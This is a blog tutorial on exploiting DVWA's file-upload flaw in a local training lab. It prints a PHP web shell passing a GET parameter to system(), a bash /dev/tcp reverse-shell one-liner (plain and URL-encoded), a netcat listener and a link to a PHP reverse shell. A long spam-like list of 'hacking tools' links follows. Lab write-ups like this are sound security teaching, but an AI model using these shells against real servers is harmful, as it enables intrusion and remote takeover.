Pages

Subscribe:

Friday, 21 August 2020

Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:
Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:
echo TESTUPLOAD > test.txt
and now upload it.
The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:
http://localhost:9000/hackable/uploads/test.txt
and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.
<?php
phpinfo();
?>
Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:
http://localhost:9000/hackable/uploads/info.php
and you should see a phpinfo page like this:
phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:
<?php
system($_GET["cmd"]);
?>
save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:
http://localhost:9000/hackable/uploads/shell.php?cmd=whoami
we see a response from the server giving us the user under which the web application is running.
We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.
Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:
ifconfig docker0
the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:
bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1'
here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
Now start a listener on host with this command:
nc -lvnp 9999
and then enter the url encoded reverse shell in the cmd parameter of the url like this:
http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
looking back at the listener we have a reverse shell.
Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:
nc -lvnp 9999
and upload the reverse shell to the server and access it to execute our reverse shell.
That's it for today have fun.

References:

  1. Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
  2. Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  3. Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
More articles

  1. Pentest Box Tools Download
  2. Hack App
  3. Hacking Tools Windows 10
  4. Install Pentest Tools Ubuntu
  5. Install Pentest Tools Ubuntu
  6. Hacker Tools 2020
  7. Pentest Tools Free
  8. Hacker Tools Online
  9. Hacking Tools 2019
  10. Hack Tool Apk
  11. Free Pentest Tools For Windows
  12. Beginner Hacker Tools
  13. Hacking Tools 2019
  14. Hacking Tools Windows
  15. How To Install Pentest Tools In Ubuntu
  16. How To Make Hacking Tools
  17. Hack And Tools
  18. Hacker
  19. Nsa Hack Tools Download
  20. Hack Website Online Tool
  21. How To Make Hacking Tools
  22. Pentest Tools Find Subdomains
  23. Hack Tools For Pc
  24. Hacking Tools
  25. World No 1 Hacker Software
  26. Pentest Tools Tcp Port Scanner
  27. Best Hacking Tools 2019
  28. Pentest Tools For Ubuntu
  29. Computer Hacker
  30. Best Hacking Tools 2020
  31. Hack Tools
  32. Hack Tools 2019
  33. Computer Hacker
  34. Hacking Tools Windows 10
  35. Hacker Tools Hardware
  36. Pentest Tools Github
  37. Pentest Tools Free
  38. Hacking Tools Name
  39. Hacking Tools Free Download
  40. Wifi Hacker Tools For Windows
  41. Hacker Search Tools
  42. Hacker Techniques Tools And Incident Handling
  43. Hacking Tools For Beginners
  44. Pentest Tools Kali Linux
  45. Hack Tools For Windows
  46. Hacking Tools Online
  47. Hack Tools 2019
  48. Best Hacking Tools 2019
  49. Hacker Tools Apk Download
  50. How To Install Pentest Tools In Ubuntu
  51. Hacker Tools Apk
  52. Black Hat Hacker Tools
  53. Kik Hack Tools
  54. Hacking Tools Online
  55. Pentest Recon Tools
  56. Pentest Tools Apk
  57. Pentest Tools Online
  58. Hack Tools For Ubuntu
  59. Hack Tools For Mac
  60. Pentest Tools For Android
  61. Pentest Tools Port Scanner
  62. Black Hat Hacker Tools
  63. Hacker Tools Apk Download
  64. Free Pentest Tools For Windows
  65. Pentest Tools Review
  66. Black Hat Hacker Tools
  67. Pentest Tools Url Fuzzer
  68. Pentest Tools Windows
  69. Hack Tools Online
  70. Usb Pentest Tools
  71. Hacking Tools Pc
  72. Hacking Tools Kit
  73. Hack Tools Online
  74. Hack Tools For Games
  75. Blackhat Hacker Tools
  76. Hacker Tools Apk
  77. Hacking Tools Usb
  78. Hacking App
  79. Hack App
  80. Hacker Tools For Windows
  81. Pentest Tools Review
  82. Hacking Tools For Windows
  83. Hack Tools 2019
  84. Pentest Tools Port Scanner
  85. Pentest Tools Kali Linux
  86. Hacker Tools Apk Download
  87. Hacking Tools Download
  88. Hacking Tools For Windows 7
  89. Pentest Tools Free
  90. Hacker Tools Windows
  91. Hack Apps
  92. Pentest Tools Review
  93. Android Hack Tools Github
  94. Pentest Tools Download
  95. Tools For Hacker
  96. World No 1 Hacker Software
  97. Nsa Hack Tools Download
  98. Hack Tools For Ubuntu
  99. Hacking Tools Hardware
  100. Pentest Tools For Windows
  101. Best Pentesting Tools 2018

No comments:

Post a Comment